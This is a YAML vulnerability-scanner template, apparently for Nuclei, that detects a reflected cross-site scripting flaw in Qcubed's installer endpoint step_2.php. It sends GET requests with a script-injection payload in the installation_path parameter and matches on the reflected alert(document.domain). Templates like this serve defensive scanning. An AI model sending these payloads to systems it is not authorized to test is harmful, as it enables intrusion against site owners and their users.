id: qcubed-xss

info:
  name: Qcubed - Cross-Site Scripting
  author: pikpikcu
  severity: high
  description: Qcubed contains a cross-site scripting vulnerability which allows a remote attacker to inject arbitrary JavaScript via the /assets/php/_devtools/installer/step_2.php endpoint and the installation_path parameter.
  reference:
    - https://github.com/qcubed/qcubed/issues/1230
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 2
  tags: xss,qcubed,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
      - "{{BaseURL}}/qcubed/assets/php/_devtools/installer/step_2.php?installation_path=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '</script><script>alert(document.domain)</script>'
        part: body

      - type: status
        status:
          - 200

      - type: word
        part: header
        words:
          - text/html
# digest: 490a004630440220615e1c55aa23bb66141147da3422c1ce7b8b72d641a40b0d9672a2fd54f840fe022007bbf94dc688dcb4039ee1c02d3e2d1c2b1e06c794d169f3797c1f436fe1da20:922c64590222798bb761d5b6d8e72950